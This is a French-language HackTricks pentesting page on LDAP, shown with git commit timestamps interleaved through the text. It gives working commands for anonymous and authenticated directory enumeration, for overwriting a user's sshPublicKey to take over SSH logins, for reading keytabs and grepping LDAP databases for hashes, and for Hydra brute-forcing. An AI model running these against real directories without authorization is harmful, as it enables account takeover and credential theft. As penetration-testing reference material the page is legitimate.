hacktricks/network-services-pentesting/pentesting-ldap.md

384 lines
18 KiB
Markdown
Raw Normal View History

# 389, 636, 3268, 3269 - Pentesting LDAP
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert AWS Red Team de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
L'utilisation de **LDAP** (Lightweight Directory Access Protocol) est principalement pour localiser diverses entités telles que des organisations, des individus et des ressources telles que des fichiers et des appareils au sein de réseaux, publics et privés. Il offre une approche simplifiée par rapport à son prédécesseur, DAP, en ayant une empreinte de code plus petite.
Les répertoires LDAP sont structurés pour permettre leur distribution sur plusieurs serveurs, chaque serveur abritant une version **répliquée** et **synchronisée** du répertoire, appelée Agent de Système de Répertoire (DSA). La responsabilité de traiter les demandes incombe entièrement au serveur LDAP, qui peut communiquer avec d'autres DSAs au besoin pour fournir une réponse unifiée au demandeur.
L'organisation du répertoire LDAP ressemble à une **hiérarchie arborescente, commençant par le répertoire racine en haut**. Cela se divise en pays, qui se divisent ensuite en organisations, puis en unités organisationnelles représentant diverses divisions ou départements, atteignant enfin le niveau des entités individuelles, comprenant à la fois des personnes et des ressources partagées telles que des fichiers et des imprimantes.
**Port par défaut:** 389 et 636 (ldaps). Le catalogue global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### Format d'interchange de données LDAP
LDIF (LDAP Data Interchange Format) définit le contenu de l'annuaire sous forme d'un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Les lignes 1-3 définissent le domaine de premier niveau local
* Les lignes 5-8 définissent le domaine de premier niveau moneycorp (moneycorp.local)
* Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
* Les lignes 18-26 créent un objet du domaine et attribuent des attributs avec des valeurs
2023-06-03 13:10:46 +00:00
## Écrire des données
Notez que si vous pouvez modifier les valeurs, vous pourriez être en mesure d'effectuer des actions vraiment intéressantes. Par exemple, imaginez que vous **puissiez changer les informations "sshPublicKey"** de votre utilisateur ou de tout utilisateur. Il est très probable que si cet attribut existe, alors **ssh lit les clés publiques à partir de LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Capturer les identifiants en clair
2022-10-05 21:51:12 +00:00
Si LDAP est utilisé sans SSL, vous pouvez **capturer les identifiants en clair** dans le réseau.
2022-10-05 21:51:12 +00:00
De plus, vous pouvez effectuer une attaque **MITM** dans le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez effectuer une **attaque de rétrogradation** afin que le client utilise les **identifiants en clair** pour se connecter.
2022-10-05 21:51:12 +00:00
**Si SSL est utilisé**, vous pouvez essayer de faire une **MITM** comme mentionné ci-dessus, mais en proposant un **faux certificat**, si l'utilisateur l'accepte, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
2022-10-05 21:51:12 +00:00
## Accès anonyme
2022-10-05 21:51:12 +00:00
2023-06-03 13:10:46 +00:00
### Contourner la vérification TLS SNI
Selon [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), en accédant simplement au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme:
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Connexions anonymes LDAP
Les [connexions anonymes LDAP](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète des utilisateurs, des groupes, des ordinateurs, des attributs de compte utilisateur et la politique de mot de passe du domaine. Il s'agit d'une **configuration héritée**, et à partir de Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
Cependant, les administrateurs peuvent avoir eu besoin de **configurer une application particulière pour autoriser les connexions anonymes** et avoir accordé plus d'accès que prévu, donnant ainsi aux utilisateurs non authentifiés un accès à tous les objets dans AD.
2022-10-05 21:51:12 +00:00
## Identifiants Validés
2022-10-05 21:51:12 +00:00
Si vous disposez d'identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur l'administrateur de domaine en utilisant :
2022-10-05 21:51:12 +00:00
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
2022-10-05 00:11:28 +00:00
```bash
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2022-10-05 21:51:12 +00:00
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
2023-06-03 13:10:46 +00:00
## Énumération
2022-10-04 23:49:59 +00:00
### Automatisé
2022-10-04 23:49:59 +00:00
En utilisant cela, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:**
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
<details>
2023-06-03 13:10:46 +00:00
<summary>Voir l'énumération LDAP avec python</summary>
2022-10-05 21:51:12 +00:00
Vous pouvez essayer d'**énumérer un LDAP avec ou sans identifiants en utilisant python**: `pip3 install ldap3`
2022-10-04 23:49:59 +00:00
Essayez d'abord de vous **connecter sans** identifiants:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir des **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de :
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets dans l'annuaire :
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Ou **dump** l'ensemble de l'annuaire LDAP :
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
</details>
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
[**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **énumérer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
Vérifiez les informations d'identification nulles ou si vos informations d'identification sont valides :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
2022-05-01 13:49:36 +01:00
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Si vous trouvez quelque chose indiquant que le "_bind doit être complété_", cela signifie que les identifiants sont incorrects.
Vous pouvez extraire **tout d'un domaine** en utilisant :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
2022-07-13 16:08:05 +02:00
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extraire **utilisateurs** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraire **ordinateurs** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **mes informations** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Domain Admins** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Utilisateurs du domaine** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Enterprise Admins** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Administrateurs** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Groupe de bureau à distance** :
```bash
2022-07-13 16:08:05 +02:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Pour vérifier si vous avez accès à un mot de passe, vous pouvez utiliser grep après avoir exécuté l'une des requêtes :
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
2022-05-01 13:25:53 +00:00
#### pbis
Vous pouvez télécharger **pbis** à partir d'ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est généralement installé dans `/opt/pbis`.\
**Pbis** vous permet d'obtenir facilement des informations de base :
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
2021-01-06 00:15:17 +00:00
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
2023-06-03 13:10:46 +00:00
## Interface Graphique
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
[**Téléchargez Apache Directory à partir d'ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple de comment utiliser cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
Vous pouvez télécharger une interface graphique avec un serveur LDAP ici: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Par défaut, il est installé dans: _/opt/jxplorer_
![](<../.gitbook/assets/image (479).png>)
### Godap
Vous pouvez y accéder à [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
2023-06-03 13:10:46 +00:00
## Authentification via kerberos
En utilisant `ldapsearch`, vous pouvez **authentifier** contre **kerberos au lieu de** via **NTLM** en utilisant le paramètre `-Y GSSAPI`
2022-05-01 13:25:53 +00:00
## POST
Si vous pouvez accéder aux fichiers où les bases de données sont contenues (pourraient être dans _/var/lib/ldap_). Vous pouvez extraire les hachages en utilisant:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
2023-06-03 13:10:46 +00:00
### Fichiers de configuration
2023-06-03 13:10:46 +00:00
* Général
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
2023-06-03 13:10:46 +00:00
* Serveur IBM SecureWay V3
* V3.sas.oc
2023-06-03 13:10:46 +00:00
* Serveur Microsoft Active Directory
* msadClassesAttrs.ldif
* Serveur Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* Serveur OpenLDAP directory
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Serveur Sun ONE Directory Server 5.1
* 75sas.ldif
```
2021-08-12 09:06:00 -04:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 13:52:05 -04:00
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2021-08-15 13:52:05 -04:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 13:52:05 -04:00
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 13:52:05 -04:00
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 13:52:05 -04:00
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 13:52:05 -04:00
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-13 11:45:07 -04:00
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 09:06:00 -04:00
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>